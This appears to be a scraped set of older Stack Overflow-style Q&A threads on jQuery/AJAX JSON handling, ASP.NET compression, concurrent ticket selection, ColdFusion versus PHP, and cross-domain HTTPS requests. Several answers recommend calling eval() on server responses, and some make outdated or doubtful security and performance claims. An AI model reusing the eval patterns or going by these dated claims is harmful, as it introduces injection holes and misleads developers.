I had this issue and for a bit I used
eval('('+data+')')
to get the data returned in an object. but then later had other issues getting a 'missing ) in parenthetical' error and found out that jQuery has a function specifically for evaluating a string for a json structure:
$.parseJSON(data)
should do the trick. This is in addition to having your json string in the proper format of course..
{ title: "One", key: "1" }
Is not what you think. As an expression, it's an Object literal, but as a statement, it's:
{ // new block
title: // define a label called 'title' for goto statements
"One", // statement: the start of an expression which will be ignored
key: // ...er, what? you can't have a goto label in the middle of an expression
// ERROR
Unfortunately eval() does not give you a way to specify whether you are giving it a statement or an expression, and it tends to guess wrong.
The usual solution is indeed to wrap anything in parentheses before sending it to the eval() function. You say you've tried that on the server... clearly somehow that isn't getting through. It should be waterproof to say on the client end, whatever is receiving the XMLHttpRequest response:
eval('('+responseText+')');
instead of:
eval(responseText);
as long as the response is really an expression not a statement. (eg. it doesn't have multiple, semicolon-or-newline-separated clauses.)
If you are consuming ASP.NET Web Services using jQuery, make sure you have the following included in your web.config:
<webServices>
<protocols>
<add name="HttpGet"/>
<add name="HttpPost"/>
</protocols>
</webServices>
see this issue in JQuery 1.4.1, which was fixed in 1.4.2
http://dev.jquery.com/ticket/6031
Hope that helps... (it worked for me nicely).
If returning an array works and returning a single object doesn't, you might also try returning your single object as an array containing that single object:
[ { title: "One", key: "1" } ]
that way you are returning a consistent data structure, an array of objects, no matter the data payload.
i see that you've tried wrapping your single object in "parenthesis", and suggest this with example because of course JavaScript treats [ .. ] differently than ( .. )
If jQuery's error handler is being called and the XHR object contains "parser error", that's probably a parser error coming back from the server.
Is your multiple result scenario when you call the service without a parameter, but it's breaking when you try to supply a parameter to retrieve the single record?
What backend are you returning this from?
On ASMX services, for example, that's often the case when parameters are supplied to jQuery as a JSON object instead of a JSON string. If you provide jQuery an actual JSON object for its "data" parameter, it will serialize that into standard & delimited k,v pairs instead of sending it as JSON.
I found in some of my implementations I had to add:
obj = new Object; obj = (data.obj);
which seemed to solve the problem. Eval or not it seemed to do exactly the same for me.
Hi its good discussion I found a solution have a look here http://www.isolutionteam.co.uk/json-jquery-ajax-aspnet-and-c-to-get-ajaxed-data-table-rows-passing-multiple-parameters/
I had a similar problem to this where Firefox 3.5 worked fine and parsed my JSON data but Firefox 3.0.6 returned a parseerror. Turned out it was a blank space at the start of the JSON that caused Firefox 3.0.6 to throw an error. Removing the blank space fixed it
jQuery chokes on certain JSON keys. I was sending this JSON snippet in PHP:
echo json_encode((object) array('result' => 'success'));
Renaming the 'result' key to something else works. I would guess this is a reserved word collision of some kind, and could be a bug in jQuery (1.4.2).
In a ColdFusion environment, one thing that will cause an error, even with well-formed JSON, is having Enable Request Debugging Output turned on in the ColdFusion Administrator (under Debugging & Logging > Debug Output Settings). Debugging information will be returned with the JSON data and will thus make it invalid.
I was struggling with this, and spent a few hours trying to figure this out, until I used firebug to show the data object.
var data = eval("(" + data.responseText + ")"); console.log(data.count);
I have compression enabled within IIS7 and it works as expected on all responses except for those constructed by ASP.NET AJAX. I have a web service that provides data to the client. When the web service is called directly, it is properly compressed. However, when it is called via ASP.NET AJAX, the JSON response is not compressed.
How can I get ASP.NET AJAX to send its JSON response with GZip compression?
IIS7 uses the content-encoding to decide whether to compress the response (assuming of course that the browser can accept gzip). They're set in applicationHost.config, and by default the list is
<dynamicTypes>
<add mimeType="text/*" enabled="true" />
<add mimeType="message/*" enabled="true" />
<add mimeType="application/x-javascript" enabled="true" />
<add mimeType="*/*" enabled="false" />
</dynamicTypes>
If you call the web service directly, the XML response has a content-type of text/xml, which gets compressed. When called by AJAX, the JSON response has a content type of application/json, so it isn't compressed. Adding the following to applicationHost.config should fix that...
<add mimeType="application/json" enabled="true" />
In general you don't want to do this unless you wouldn't mind throwing orders of magnitudes the amount of server power into your apps...
Also not only server-CPU but also client-CPU becomes a problem when you do this....
This concludes with that your app becomes WAY slower if you GZip all your Ajax Responses...!
The headers are set as expected, w/ gzip accepted:
User-Agent Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Accept-Language en-us,en;q=0.5 Accept-Encoding gzip,deflate Content-Type application/json; charset=utf-8
What browser are you using? There's a bug in IE 6 that causes errors in compression. So ASP.NET AJAX turns off compression to IE 6 browsers:
http://weblogs.asp.net/scottgu/archive/2005/06/28/416185.aspx
Also, did you enable compression for ASMX files?
Last I checked, the gzipping was something that IIS does (when setup correctly) - and of course when the browser sends the required headers
Thomas,
For performance enhacement of a web application developed in Asp.net with Ajax: 1. Do you advice to your Ajax with Json. In what cases "Yes" and in what cases "No" 2. Gzip increases the CPU utilisation by 30-100 times depending on page size, so it should be used carefully.In your reply, are you referring to a general Gzipped page or specifically Ajax with Json.
Cheers Rajiv
I have a web application at work that is similar to a ticket working system. Some users enter new issues. Other workers choose and resolve issues. All of the data is maintained in MS SQL server 2005.
The users working to resolve issues go to a page where they can view open issues. Because up to twenty people can be looking at this page at the same time, one potential problem I had to address was what happens if someone picks an issue that someone else picked just after their page loaded.
To address this, I did two things. First, the gridview displaying the issues to select uses an AJAX timer to update every second. Once an issue has been selected, it disappears one second later at most. In case they select one within this second, they get a message asking them to choose another.
The problem is that the AJAX part of this is sending too many updates (this is what I am assuming) and it is affecting the performance of the page and database. In addition, the updates are not performing every second. I find the timer to be unreliable when working to trigger stored procedures.
There has to be a better way, but I can't seem to find one. Does anyone have experience with a situation like this or have suggestions to keep multiple users from selecting the same record to maintain? I really do not want to disable the AJAX part entirely because I feel the message alone would make the application frustrating to use.
Thanks,
Put a lock timestamp field on the row in the database. Write a stored proc that returns true or false if the expiration timsetamp is older than a specific time. Set your sessions on your web app to expire in the same time, a minute or two. When a user select a row they hit the stored proc which helps the app to decide if it should let the user to modify it.
Hope that makes sense....
I did something similar where once a user opened a ticket (row) it assigned that ticket to that user and set a value on that record, like and FK to that particular user, so if anyone else tried to open that ticket (row) it would let them know it has already been assigned to someone else.
Two things can help mitigate your problem.
First, after-selection notification that the case has been taken is needed regardless of your ajax update time frame. Even checking every second doesn't mean two people cannot click the same case at what they perceive to be the same time. In such cases, one of the users needs to be notified that their selection is invalid even though it appeared valid when selected. This notification doesn't need to be elaborate; keeping a light, helpful tone can improve user perception even in the light of disappointment. And if you identify the user who selected that record already, that will not only help your users coordinate in future but also divert attention from your program to the user who snaked the juicy case. (indeed, management may like giving your users the occasional collision as it will motivate them to select cases faster)
Second, a small tweak to how you display your cases can reduce selection collisions. Adding a random element to display order and/or filtering out every other case on display will help your users select different cases naturally. Human pattern recognition and task selection isn't really random so small changes to presentation can equal big changes to selection behavior. Reductions in collision chance keeps your collision notifications rare (and thus less frustrating to your users). This is even better if your users can be separated into classifications that can help determine useful case ordering/filtering.
Okay, a third thing that will help you over time is if you keep a log of when collisions occur (with helpful meta data about the collision—like who was involved and selection timing). Armed with solid collision data, you can find what works and what doesn't. Over time, you can hone your application to your actual use cases as well as identify potential problems early. Nothing reassures your users more than being on top of a problem (and able to explain your plans to solve it) before they're even aware it exists.
With these mitigating patterns, you'll probably find you can safely reduce your ajax query timeframe without affecting user experience. And with useful logging, you'll have the assurance that any tweaks you put in place are actually working (or not—which is maybe even more useful to know).
Have you tried increasing the time between refreshes. I would expect that once per 30 seconds would be sufficient. 40 requests/minute is a lot less load than 1200/minute. Your users may not even notice the difference.
If they do, how about providing a refresh button on the page so the users can manually refresh the list just prior to selecting an item to avoid the annoying message if they choose.
If possible limit the system so that they just get the next open issue off the work queue as opposed having them be able choose from all open issues.
If that isn't possible, I suppose you could check upon the choosing of an issue to see if it is still available. If it's not available, then make it disappear after the user clicks on it. This way you are only requesting when they actually click on something as opposed to constant polling of the data.
I'm missing to see the issue, specially after you mentioned you are already flagging tickets as in progress/being maintained and have a timestamp/version of the item.
Isn't the following enough:
When the items are retrieved at 1, you include a timestamp/version. When 2 happens, you use a optimistic concurrency approach to make sure that if 2 persons try to update the take the ticket at the same time only the first one will be successful.
What will happen is that for the second person, the update ... where ... timestamp = @timestamp will not find any records to update and you will report back that the ticket was already taken.
If you want, you can build on top of the above to update the UI as tickets are grabbed. This could be by just doing a full refresh of the current page of tickets after x time (maybe alerting/prompting the user), or even by retrieving a list of tickets changed for the page of tickets being showed with ajax. You still have the earlier steps in place, as this modification its just a convenience for the users.
I am working on a web page that is using jQuery. I have an ajax call that gets data from the server an updates a div. Inside that data there is a jQuery function; however, the function is not being called after the data is loaded into the page. I have the proper js files include in the page already.
This is what is returned from the ajax call and placed into a div:
<script type="text/javascript">
$(function() {
$('input').myFunction('param');
});
</script>
<p> other html </p>
How do I get the returned javascript to run after the html is inserted into the page?
(I am using Rails with the jRails plugin )
If you want JavaScript tag evaluation, with html content, you should set the dataType option of the ajax call to "html":
$.ajax({
type: "GET",
url: "yourPage.htm",
dataType: "html"
});
Or dataType "script", if you want to load and execute a .js file:
$.ajax({
type: "GET",
url: "test.js",
dataType: "script"
});
more info here: Ajax/jQuery.ajax
I had a similar problem where I wanted to add little jquery date pickers to a couple fields I was retrieving via ajax. here is what I did to get around it... just quick and dirty. Instead of returning this whole block from my ajax call:
<script type="text/javascript">
$(function() {
$('input').myFunction('param');
});
</script>
<p> other html </p>
I would return this (note the made up |x| separator)
$(function() {
$('input').myFunction('param');
});
|x|
<p> other html </p>
Then when I received the data back via ajax, I split the return value into 2 parts: the javascript to be executed, and the html to display:
r = returnvalfromajax.split("|x|");
document.getElementById('whatever').innerHTML = r[1];
eval(r[0]);
Well, you can use jQuery load() function: http://docs.jquery.com/Ajax/load#urldatacallback As a callback you can define function which will be executed after loading new content example:
$("#feeds").load("new_content.html",, doSomething());
and in new_content.html you can define function doSomething()...
for ajax.net the endRequestHandler(sender, args) solution works fine though
Changing
<script type="text/javascript">
...
</script>
To:
<script>
...
</script>
Fixed the issue for me.
have you tried Sys.WebForms.PageRequestManager.add_endRequest method?
$(document).ready(function()
{
Sys.WebForms.PageRequestManager.getInstance().add_endRequest(endRequestHandler);
}
);
function endRequestHandler(sender, args)
{
// whatever
}
Can anyone share with me (without fervent evangelism, please) any comparative experiences you might have with regard to ColdFusion and PHP in developing internal enterprise browser-based applications?
Specifically (but not limited to):
1: Do the rapid-development characteristics of ColdFusion compensate for any performance issues resulting from the additional overhead?
2: Is either particularly suited to individual or team development?
3: Is rapidly developing an application in ColdFusion and then porting it to PHP to improve performance a proposition that only a madman or venture capitalist would consider?
Wow, there is really a lot of misleading or plain wrong information here in the comments about ColdFusion. I know next to nothing about PHP, so I'm not going to comment on any of it. I've been using ColdFusion for about 12 years and I think I can shed some light on it for you.
First, ColdFusion is not dead or dying and never has been. Allaire certainly kept it rolling since it was their flagship product, Macromedia constantly had it under development, and Adobe has released ColdFusion version 9 (see What's New), with 10 and 11 already in the pipeline, although 11 is little better than a somewhat credible rumor at this point.
The absolute best thing about ColdFusion is that it lets you develop the way you want. If you're just doing a simple brochure website and you need a little dynamic spice added to a few pages, you can just put them in there. No need to build out an entire application scaffolding when all you need is a pair of functions.
On the other hand, developing very large, object-oriented, framework driven applications is also possible. There are large multi-year projects running with as many as 40 developers at the Social Security Administration, the Food and Drug Administration, The Kennedy Center, the State Department, etc. (I live near DC, if you couldn't tell.) ColdFusion has had object-oriented features since version 6 when it was changed from a stand-alone application written in c++ to a Java library that runs on many J2EE servers.
If you need to manage your team's coding practices, there are many mature/stable frameworks available to help you out. I saw that Fusebox was mentioned earlier, and that is one of the strongest ones for MVC. There are others, though, and even Fusebox is not stuck at version 3 which seems to be the last time most people looked at it. shameless plug warning--> I even do some work on a thing called MXUnit, which is a unit testing framework for CF.
Many if not most CF developers now use Eclipse as their primary coding tool because of all the other Eclipse plugins that platform brings with it. The main FOSS plugin for ColdFusion is called CFEclipse. If you have more of a designer approach to developing, Dreamweaver is for you but you have to pony up the cash for that. Adobe has also shown us some love with a set of line debugging tools for Eclipse as well as connectors to the server that let you inspect your objects remotely as well as manipulate files and databases. Rumor has it that Adobe is thinking about developing an über IDE using Eclipse along the lines of what IBM has done. (Update: They released CFBuilder version 1 in March 2010 and version 2 is being actively developed (as of January 2011))
If you need to do development on a shoestring, the development version of ColdFusion is free. So are some of the other CFML servers such as the SmithProject, Railo and BlueDragon on J2EE. Shared hosting is very reasonable, although not as widespread as some other technologies. It's best to use somebody that is aware of ColdFusion like HostMySite.com if you are going to go that route. If you're hosting yourself, save the cost of an OS and run it on Linux with MySQL or PostgreSQL.
Use of CFScript gives you a more Javascript-like syntax if you don't care for the tag brackets, although with version 8, all features are not supported in script. You can write wrappers for some of them if you want. Version 9 is supposed to support a Javascript-like syntax for all object coding.
One of the things about ColdFusion often overlooked is that it is probably the best server-side technology for creating the service layer for applications written in Flex. Even the Adobe people fail to mention that very often, probably out of fear that the CF stigma might somehow attach itself to Flex. That's unfortunate becase CF supports the amf protocol out of the box as well as allowing you to pass typed objects between it and Flex/flash.
The developer community for ColdFusion is also alive and well. If fact, many people think that the ColdFusion bloggers were a big reason that Adobe purchased Macromedia. Certainly, social tools tend to wax and wane as people come and go and technologies change. While the ColdFusion forums used to be a big gathering place, it seems like a lot more activity has gravitated to blogs and aggregators. And now, even a little Stack Overflow ;).
Personally, I wouldn't bother with the code/port process. That's just too much unnecessary work for a new project.
Lastly, I don't understand the comments about performance, really. ColdFusion compiles down to Java classes and runs on a J2EE server. It's going to be about as fast as anything else that runs with that sort of architecture with a few exceptions. Each release seems to make significant gains in performance as well. It's possible to bring any server to its knees with unscalable coding procedures, but there is nothing that says you have to code that way.
I guess the real trick is to make sure you get credible information about the platforms in order to make an informed decision. That can be hard to do sometimes in a community driven site since it's easy to spout off (like I'm doing) and hard to post references for everything you say (like I'm not doing).
Good Luck!
It seems to me the comparison is not all together fair. CFML (coldfusion markup language) and php might be better for straight language comparison. As for a comparison to Adobe's Coldfusion i think its more inline with the Zend Platform then you could break down feature for feature in terms of optimization, load testing, code cashing, etc..
I'm not going to go all evangelical one way or another with those too except to say i think that is the most fair comparison and neither is free, and both come with a lot features to help you deploy on an "enterprise level". I would start there with those comparisons.
Alternatively as mentioned above their are several other engines available: New Atlanta's Bluedragon , Railo, and the smith project. The former two offer enterprise as well as free community solutions. So cost should not be an issue in comparison.
With regard to open-source or free software both OpenBlueDragon and Railo on JBoss (comming soon) are viable sold options for an open source engine, while on the software side riaforge.org is a good place to look at some projects in various states of release.
Your question seemed concerned more about the performance qualities, and as a poster above mentioned a lot of it is on the quality of your coding. CFML in any of the three big engines (bluedragon, railo, coldfusion) compiles down to java. So on the front end you will get bit of a performance hit as the jvm warms up, then it starts screaming. if your code is written will, in the long haul under a load java has been proven to hold consistent with performance much longer than code complied into "C" like ruby or php or perl, but i'm not an expert and you can take all kindof of benchmarks depending on your situation. If you worried about performance i would seriously consider java for a large load. I think their might be quality ports for php to java but i haven't looked too deep. Otherwise you would want something along the Zend line for optimizing for performance (which comes at additional costs)
I mention heavy on the CFML side because with the exception of the last poster the comments seem rather unbalanced, and i think it important to see all the options out there and know that both have viable enterprise and/or open-source low to no cost solutions to be had.
As another poster mentioned, when the right comparisons are actually made, both are really well suited to meet any need, and in the end i think i might come down to person/productive preference of you and your development team.
I've programmed in both PHP and ColdFusion. A number of years ago we were starting to build an enterprise web app that would have a global impact for our organization (a Fortune 100 company). For various reasons we finally settled on ColdFusion (the cost of the CF license was a non-issue for us and never was a consideration in our decision).
We are going on five years building, maintaining, upgrading, etc. this app and I can now say unequivocally that going with CF was the best decision we ever made. It has been an absolute joy to work with. We have had no performance problems (in my experience any of the major platforms - .net, jsp, php, cf, etc. - will be able to handle anything you throw at it; the major performance bottleneck will usually be the database).
Adobe releases an updated version of CF every year to year and a half and it just keeps getting better.
CF is especially a good choice if you are going to work with any of the other Adobe technologies like Flex, Flash and AIR. Since they are all created by the same company there are a lot of things built in to CF that make communicating with the other technologies a snap.
I've programmed professionally in both PHP and ColdFusion for about the last 10-12 years. From what I can see, the cost/benefit breaks down somewhere along these lines:
ColdFusion is easier and faster to write in. The syntax is more intuitive (for most things), and you don't spend as much time building the "scaffolding" for your project (i.e. Database layer objects, etc...) because the language has so much built in. 5 years ago, I would have said that the ColdFusion syntax was much more coherent than the PHP syntax, but there have been too many fingers in the pie now, and ColdFusion has gotten almost as muddled as PHP. ColdFusion tends to outperform PHP at runtime on simple pages, but gets bogged down on complex pages. ColdFusion has a lot of built in debugging and profiling features that I sorely miss when I move to PHP.
PHP is free, and has tons of community support. The problem with that is that sometimes there are so many options on how to do PHP, it can be easy to get stuck in "Analysis Paralysis", and you spend so much time in Architecture that it's hard to push yourself to settled down and start banging away at code. Also, there are a ton of libraries available for PHP, few of which are compatible with eachother. The PEAR DB library doesn't work very neatly with Smarty, which doesn't really work at all with CakePHP, and so forth. These frameworks so radically alter the way you work in PHP that they may as well be their own languages. ColdFusion has a smaller proliferation of frameworks, and the authors tend to spend a good ammount of time making sure they work with eachother. While PHP is free, the debugging and profiling support are almost the same cost as the ColdFusion server.
Ultimately, given my choice, I'd probably go with ColdFusion. If you're worried about performance, check out Railo, which is an Open Source CFML engine (runs ColdFusion code) and was designed from the ground up to be super fast. In fact, it was originally designed to convert PHP code into ColdFusion code to speed it up...
As someone who has supported both in production, PHP is the clear choice.
I've done development with both ColdFusion and PHP and I can say this - they both have their ups and downs.
Right off the bat, PHP gets a couple points because it is free where as the ColdFusion server license costs some money. However, the ColdFusion server also has a lot of maintenance and development tools built in so you could make a case for the $1300 making up for that. Also, it is worth noting that BlueDragon is in competition with Adobe here and they also offer a ColdFusion server option.
Personally I think that performance is a non-issue between the two due to the fact that since ColdFusion MX came out, CFML files get complied into Java classes. Also, I have been getting the impression that the newer versions of ColdFusion are being steered in the direction of web application development as opposed to websites with some dynamic content.
Programmaticly, I don't think there are any major deal breakers between ColdFusion and PHP. The ColdFusion tags get some getting used to, but you can also use CFScript, a C-like syntax version of ColdFusion tags, if you prefer that syntax for most operations. In terms of development, I personally think that ColdFusion 8 has a bit more in terms of options for rapid-development than PHP considering the fact that it supports .NET and Java out of the box where as PHP might require some work to integrate with those technologies. However, if you are not going to be using any of that stuff then why pay for the server license?
At the end of the day I think you are going to need to sit down and look at what you are going to be developing and then look to see what features the two languages offer. If you are doing something where the ColdFusion feature set is going to be useful for rapid-development then go the ColdFusion route; if you aren't going to be using any of those, then go the route of PHP.
So the bottom line short summary of the two languages:
I have been developing with CF for about 6 years now and I have done some PHP work in my spare time, though nothing at the enterprise level, so I am speaking from a CF background mainly.
If you come from any other (non-PHP/CF) background then 'out of the box' CF is faster than PHP as so much configuration etc is done for you. You don't have to get all tangled up in libraries and header files: in CF 90% of what you need to do is available right away. Obviously things even out when you use frameworks etc., but CF for a simple website is easy to setup. That is just my opinion having used PHP for some small personal websites. However, the CF licence costs money which is why I was using PHP in the first place!
The other big advantage is that, in a nutshell, CF sits on top and uses Java. This means if you have the jar file that does some specific job, you can drop that in, and use it through CF very, very easily. While this is not the normal course of action (as CF has handles most stuff natively), it does open up a huge community (the Java one) and allows you to leverage that technology. It's also very useful for when you have to integrate with a third party because since CF is built on Java, you are dealing with well-known industry standards.
I'm not saying that PHP can't do these things, I'm just drawing attention to the fact that the CF-Java relationship can be very useful, and very powerful.
Cheers, Ciarán
I was a hardcore php user 2 years ago, but since I switched to coldfusion, I haven't looked back. Before I thought cf was crappy because of the syntax it uses (html tags style) but there is so much more to it.
Anyway I'll take either over .net haha
Having worked in both, I think the honest answer is that you can get most of what you want accomplished in either language. When I worked in a ColdFusion shop, I coded in ColdFusion, now that I work in a PHP shop, I code in PHP (someday, maybe I'll work in a Python shop...:-)
One obvious difference that one of the other posters mentioned is that PHP is free and open source while ColdFusion is not. Also, in terms of your own professional development, I think that PHP is a more widely-useful skill. PHP has a large community to draw from, along with lots of useful functionality for dealing with web requests, XML, databases, object oriented design, etc etc...On the other hand, if you or someone on your team speaks Java, newer versions of ColdFusion server are also Java app servers, and you can integrate calls to Java libraries into your CF code.
All things being equal, though, I think PHP is a much better choice.
I have been a coldfusion developer for a few years now and before that used PHP. I have to say that before Coldfusion MX 7 it would have been a wiser choice to go with PHP, but since the advent of CFC's and the OOP standard that Coldfusion now employs it's a great platform to build on. And since CF8 has brought radical performance changes into the mix it is in my never to be humble opinion a better platform to build on. If you can get past the initial cost of buying the server.
I'm the lead developer for the CFML version (original) of Fusebox. It also has 2 different ports to PHP, not exactly sure how the other version got out there but there are 2 PHP ports. I never really cared for PHPs syntax so that puts a negative for me on PHP but I wouldn't judge the language soley on that because given time syntax is just that syntax and you get used to it, though I still struggle with JSPs (but that is an entirely different subject, right?). So let's get to your questions:
1: Sort of, I guess. I can't say I've really seen too much on the performance front with issues. I mean you have to understand how ColdFusion works or you could get yourself into trouble in an OO design but overall I've not see performance issues. As an example we have an enterprise CMS running on Fusebox 5.5 and run load test with 500 concurrent users and it doesn't break a sweat, response times are typically sub second. Putting performance aside since I think it is not really relevant, I think a strong developer can be productive in any languages they are strong in. I feel like a non developer will become more product more quickly with CFML, in particular ColdFusion. That's not to say PHP can not be RAD or picked up but I do feel the ramp-up time for CFML is ridiculously low.
2: I've never used PHP in a team situation. I have used CFML in team situations and it works well, it again has more to do with team dynamics and organization and having a strong framework helps with that. ColdFusion has some good strong frameworks, PHP does as well. Both languages suffer from many No CS background folks picking up the language, so you'll get that stigma on either side.
3: Madman, If one chooses to go the CFML route there are far better ways to optimize if needed than scrapping a system. I would be surprised if you find you have to optimize with either choice but if you went to CFML and needed to optimize you would probably find better reuse in moving parts of the back end to Java or Groovy not moving to PHP.
Overall I've used CF and Java in the Enterprise and PHP in personal development and I am confident either option works, but for Web based development I think you'll find CF backed by Java (if/when needed) is a pretty impressive development environment.
Couple of aditional things I'll throw out there:
I don't have any experience comparing PHP and ColdFusion, but I can speak from a ColdFusion perspective.
It can certainly be used to develop enterprise applications, and it can be used for both individual and group development - I did both at my last job and am doing individual development at my current job. Of course, you will need to use proper project management to develop quality applications, as you would using any language.
I don't think it would be worthwhile to move the app to PHP if you were developing it in CF. Porting any application from one language to another is a ton of work; doing an application twice is probably not the right direction to choose.
I think one approach you might take is to consider where expertise would be. Do you know people who know either language well? Does anyone on the team know either language? How much time do you have to learn?
If you have a reasonable amount of experience with one and not the other, that's the language I'd suggest. If you have experience with neither, but you have access to quality resources for one, pick that one. Otherwise, I expect it's six of one and a half dozen of the other.
One part of the question that no one had answered is the porting to PHP part. Personally I don't see a huge difference in performance between the two platforms but if you needed to port somewhere I think java would be a much better choice. Coldfusion and java play well together so migration can be incremental and with the advent of coldspring can even use the same XML configs.
Are apples better than pears?
Leaving aside the community issue, there is little to choose between CF and PHP.
However, as a dev manager who used to manage a CF team, I know it was extremely hard to find quality CF developers. There are way more PHP developers out there (I live and work in London, UK; it may be different elsewhere).
If I was starting a new system from scratch I would use, of the two, PHP for this reason alone.
Although CF vs PHP is a false dichotomy. There are other choices too.
I can respond to #3 by saying that I would think it wiser to choose a language now rather than wasting time porting an application later - only to find it doesn't have XYZ compatibility.
From what I've seen (I've seen tutorials/articles on ColdFusion code but never actually used it) CF is of a HTML-style syntax which could allow more people who would not necessarily be programmers (e.g. frontend/HTML people) to jump in and start helping out.
Bearing in mind that I am a PHP user (although not as envagelistic as others) I would suggest building in PHP first. There are drawbacks if you decide to switch to CF later on (syntax & structure is different (does CF have header/class files?)) because while CF has many great features built in (out-of-the-box CAPTCHAs for example) it's different with PHP. I'd say that you could port CF to PHP, but not the other way around.
Please note that I am making fairly wide assumptions on CF here based on what I have seen. As I said, I've read a few tutorials on the subject and the code seems to be mainly inline in the HTML. This needs backing up :-) However I stick by my first point - choose a language first, and then stick to it. Do your research now.
I've worked with both, formally extensively with Cold Fusion, and more recently with PHP.
Cold Fusion whilst superficially easier does have a tendency to deteriorate into a mess as it (certainly used to) assume you were going to simply embed the code directly into the HTML with no reference to MVC or similar design patterns that good usage of PHP, leveraging the [framework or your choice or even just template system], can give you.
The solution to that is to adopt Fusebox (http://www.fusebox.org/) I've not used it for a while and I don't know how it's adapted to AJAX, but if you must use Cold Fusion it's a well thought out logical framework. There is a PHP version too, but I've never heard of anyone using it.
Generally, given the choice, I'd fairly strongly go for PHP, primarily because of the wealth of community support there is out there. Most importantly though choose a good template system (I recommend Tiny But Strong as it's a joy to work with) or Application Framework. However if you must use Cold Fusion, given appropriate development standards, it is a perfectly valid choice and shouldn't impact in any way what you can deliver. In terms of development speed myself I think there is little to choose between them and certainly not enough to make this a determining issue. Developing in CF and porting to PHP though is defiantly the way of madness :-)
I have a site, foo.com, that makes ajax requests to bar.foo.com. Will this work.
Also, if foo is a secure connection, https, does bar.foo.com need to be https too? Can these two sites use different certificates?
With plain-http AJAX: You are talking about doing cross-domain XMLHttpRequest, which is not permitted by browsers. There's a W3C proposal pending to implement this in a secure way in the future (partially implemented by IE8, IIRC), but it's definitely not possible at present.
There are, however, workarounds for doing it securely: Subspace (which uses iframes and document.domain), the fragment identifier technique (again, uses iframes) and window.name technique (again, iframes!).
As far as SSL goes, you can buy separate certificates for the domain and subdomain, or a single wildcard (*.foo.com) cert that covers them both (naturally, the wildcard cert will be more expensive).
If you have an HTTPS page that requests items from other domains, all will be well as long as everything is HTTPS. That means that if you use one of the iframe workarounds, you have to specify an https:// scheme URL in the src attribute of the iframe.
A final, less efficient, workaround is to have a script on https://foo.com that proxies requests to insecure http://bar.foo.com. (This also solves the XHR cross-domain problem, so you can ignore the other workarounds.) Of course, that means you're sending the XHR request to https://foo.com/someurl, it's then hitting http://bar.foo.com/someurl, receiving the response and sending it back to the browser, so performance-wise you're much better off just moving the server-side functionality of bar.foo.com onto foo.com, if you have that option. But if you can't move the server script, then proxying is the way to go.
EDIT: I changed the last 3 grafs after doing some extra testing and getting an iframe AJAX workaround (the #fragmentidentifier one) to work across different HTTPS domains. You can do SSL cross-domain AJAX using iframes as long as everything is https and the https scheme is used in the iframe src. Summarizing:
Most browsers will, depending on their security/privacy setting, block any outside call made - and only allow AJAX calls made to the same domain. Even subdomains are blocked, because on shared environments they might pose a real threat.
In short: only make AJAX calls through the same domain (perhaps call a page, that in turn calls another page from another domain - through curl/fopen/...), or you'll run into troubles. That also answers your SSL question - it doesn't matter what SSL you're using, or whether they're the same - calls will get blocked, despite the SSL.
Yes you can get different certs for both domains. It's all in how you decide to configure it.
You can configure a web server for foo.com and you can open port 80 for non secure and port 443 for secure and use both.
You can configure a different web server for bar.foo.com and do the same port configs.
If you need to ensure that you are secure on both then you need to get certs for each different domain.
You might be able to buy a *.foo.com cert that would enable you to copy the one cert to the other site and use it.
Regardless if your request links to http://bar.foo.com you will not have a secure connection.
You have to have the http"s" in there to tell the webserver to use port 443 and attempt to validate the cert.
All certs really do is say that the source is trusted. Even if it isn't trusted and you do use http"s" and there is a lock on the browser your data is encrypted anyway.
You can combine JavaScript TLS and Flash to accomplish secure cross-domain requests. This way your visitors go to https://foo.com and you can make XmlHttpRequests to https://bar.foo.com. You can do the same thing with regular http.
You will need to purchase an SSL certificate that your visitor's browsers will trust for foo.com, but you can generate your own SSL certificates for bar.foo.com, bar2.foo.com, etc. A more expensive alternative to generating your own SSL certificates (which is free) is to buy a wildcard SSL certificate for *.foo.com. But if you're only doing cross-domain requests to those sites via foo.com then you don't need to spend that extra cash.
Check out the opensource Forge project on github:
http://github.com/digitalbazaar/forge/blob/master/README
The blog links at the end provide a more in-depth explanation.
Is it possible to prevent the browser from following redirects when sending XMLHttpRequest-s (i.e. to get the redirect status code back and handle it myself)?
Not according to the W3C standard for the XMLHttpRequest object (emphasis added):
If the response is an HTTP redirect:
If the origin of the URL conveyed by the Location header is same origin with the XMLHttpRequest origin and the redirect does not violate infinite loop precautions, transparently follow the redirect while observing the same-origin request event rules.
They are considering it for the future though:
This specification does not include the following features which are being considered for a future version of this specification:
- Property to disable following redirects;
No you there isn't any place in the API exposed by XMLHttpRequest that allows you to override its default behaviour of following a 301 or 302 automatically.
If the client is running IE on windows then you can use WinHTTP instead to set an option to prevent that behaviour but thats a very limiting solution.
I am trying to create controller actions which will return either JSON or partial html depending upon a parameter. What is the best way to get the result returned to an MVC page asynchronously?
In your action method, return Json(object) to return JSON to your page.
public ActionResult SomeActionMethod() {
return Json(new {foo="bar", baz="Blech"});
}
Then just call the action method using Ajax. You could use one of the helper methods from the ViewPage such as
<%= Ajax.ActionLink("SomeActionMethod", new AjaxOptions {OnSuccess="somemethod"}) %>
SomeMethod would be a javascript method that then evaluates the Json object returned.
If you want to return a plain string, you can just use the ContentResult:
public ActionResult SomeActionMethod() {
return Content("hello world!");
}
ContentResult by default returns a text/plain as its contentType.
This is overloadable so you can also do:
return Content("<xml>This is poorly formatted xml.</xml>", "text/xml");
NathanD,
I think you should consider the AcceptTypes of the request. I am using it in my current project to return the correct content type as follows.
Your action on the controller can test it as on the request object
if (Request.AcceptTypes.Contains("text/html")) {
return View();
}
else if (Request.AcceptTypes.Contains("application/json"))
{
return Json( new { id=1, value="new" } );
}
else if (Request.AcceptTypes.Contains("application/xml") ||
Request.AcceptTypes.Contains("text/xml"))
{
//
}
You can then implement the aspx of the view to cater for the partial xhtml response case.
Then in jQuery you can fetch it passing the type parameter as json:
$.get(url, null, function(data, textStatus) {
console.log('got %o with status %s', data, textStatus);
}, "json"); // or xml, html, script, json, jsonp or text
Hope this helps James
Another nice way to deal with JSON data is using the JQuery getJSON function. You can call the
public ActionResult SomeActionMethod(int id)
{
return Json(new {foo="bar", baz="Blech"});
}
method from the jquery getJSON method by simply...
$.getJSON("../SomeActionMethod", {
id: someId
},
function(data) {
alert(data.foo);
alert(data.baz);}
To answer the other half of the question, you can call:
return PartialView("viewname");
when you want to return partial HTML. You'll just have to find some way to decide whether the request wants JSON or HTML, perhaps based on a URL part/parameter.
You may want to take a look at this very helpful article which covers this very nicely!
Just thought it might help people searching for a good solution to this problem.
